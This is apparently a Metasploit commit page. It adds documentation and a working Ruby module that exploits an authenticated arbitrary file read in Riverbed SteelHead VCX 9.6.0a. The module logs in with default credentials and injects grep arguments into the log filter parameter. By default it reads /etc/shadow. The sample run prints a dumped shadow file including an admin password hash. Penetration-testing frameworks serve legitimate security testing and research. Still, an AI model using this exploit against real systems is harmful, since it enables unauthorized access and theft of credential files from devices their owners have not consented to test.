Land #8507, Riverbed SteelHead VCX file read

bug/bundler_fix
William Vu 2017-06-12 10:39:48 -05:00
commit bb9d1a6768
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
2 changed files with 187 additions and 0 deletions

View File

@ -0,0 +1,57 @@
This module exploits an authenticated arbitrary file read in the log module's filter engine.
## Vulnerable Application
The application is available for a 90 day evaluation after free registration from
[riverbed](https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html).
Downloads are available for Hyper-V, ESX(i), and KVM. Installation is straight forward, initial login is `admin`/`password`.
If need be from cli, to show the IP address of the device: `show interfaces primary`
This module was successfully tested against:
- SteelHead VCX (VCX255U) 9.6.0a
## Verification Steps
1. Do: ```auxiliary/scanner/http/riverbed_steelhead_vcx_file_read```
2. Do: ```set RHOSTS [IP]```
3. Set TARGETURI if necessary.
3. Set FILE if necessary.
3. Set USERNAME if necessary.
3. Set PASSWORD if necessary.
4. Do: ```run```
## Scenarios
### SteelHead VCX255u 9.6.0a running on ESXi
```
resource (riverbed.rc)> use auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
resource (riverbed.rc)> set rhosts 192.168.2.198
rhosts => 192.168.2.198
resource (riverbed.rc)> set verbose true
verbose => true
resource (riverbed.rc)> run
[*] CSRF Token: 18PK64EKpo4d6y0X5ZOMYJ3fxfYZKfrN
[+] Authenticated Successfully
[+] File Contents:
admin:$6$sKOU5moa$B2szxiSEzq6ZmHZw01CMf64WlzvqIgCYETeXzF1ItxZ5soOJNVXdE2H5N19t0cPeGDf/LGvRymgQHAxgojr6u1:10000:0:99999:7:::
administrator:*:10000:0:99999:7:::
apache:*:10000:0:99999:7:::
localvixuser:*:10000:0:99999:7:::
named:*:10000:0:99999:7:::
nobody:*:10000:0:99999:7:::
ntp:*:10000:0:99999:7:::
pcap:*:10000:0:99999:7:::
postgres:*:10000:0:99999:7:::
rcud:*:10000:0:99999:7:::
root:*:10000:0:99999:7:::
rpc:*:10000:0:99999:7:::
shark:*:10000:0:99999:7:::
sshd:*:10000:0:99999:7:::
statsd:*:10000:0:99999:7:::
webproxy::10000:0:99999:7:::
[+] Stored /etc/shadow to /root/.msf4/loot/20170602230238_default_192.168.2.198_host.file_311580.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,130 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Riverbed SteelHead VCX File Read',
'Description' => %q{
This module exploits an authenticated arbitrary file read in the log module's filter engine.
SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable.
},
'References' =>
[
['EDB', '42101']
],
'Author' =>
[
'Gregory DRAPERI <gregory.draper_at_gmail.com>', # Exploit
'h00die' # Module
],
'DisclosureDate' => 'Jun 01 2017',
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('FILE', [ true, 'Remote file to view', '/etc/shadow']),
OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']),
OptString.new('USERNAME', [true, 'Username', 'admin']),
OptString.new('PASSWORD', [true, 'Password', 'password']),
])
end
def run_host(ip)
# pull our csrf
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
'method' => 'GET',
'vars_get' => {
'next' => '/'
}
}, 25)
unless res
print_error("#{full_uri} - Connection timed out")
return
end
cookie = res.get_cookies
csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0]
vprint_status("CSRF Token: #{csrf}")
# authenticate
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
'method' => 'POST',
'cookie' => cookie,
'vars_post' => {
'csrfmiddlewaretoken' => csrf,
'_fields' => JSON.generate({
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'legalAccepted' => 'N/A',
'userAgent' => ''
})
}
}, 25)
unless res
print_error("#{full_uri} - Connection timed out")
return
end
if res.code == 400
print_error('Failed Authentication')
return
elsif res.code == 200
vprint_good('Authenticated Successfully')
cookie = res.get_cookies
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie)
end
# pull the file
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'),
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
'filterStr' => "msg:-e .* #{datastore['FILE']}"
}
}, 25)
unless res
print_error("#{full_uri} - Connection timed out")
return
end
if res && res.body
result = res.get_json_document
unless result.has_key?('web3.model')
print_error('Invalid JSON returned')
return
end
reconstructed_file = []
# so the format is super icky here. It makes a hash table for each row in the file. then the 'msg' field starts with
# the file name. It also, by default, includes other files, so we need to check we're on the right file.
result['web3.model']['messages']['rows'].each do |row|
if row['msg'].start_with?(datastore['FILE'])
reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip
end
end
if reconstructed_file.any?
reconstructed_file = reconstructed_file.join("\n")
vprint_good("File Contents:\n#{reconstructed_file}")
stored_path = store_loot('host.files', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
print_good("Stored #{datastore['FILE']} to #{stored_path}")
else
print_error("File not found or empty file: #{datastore['FILE']}")
end
end
end
end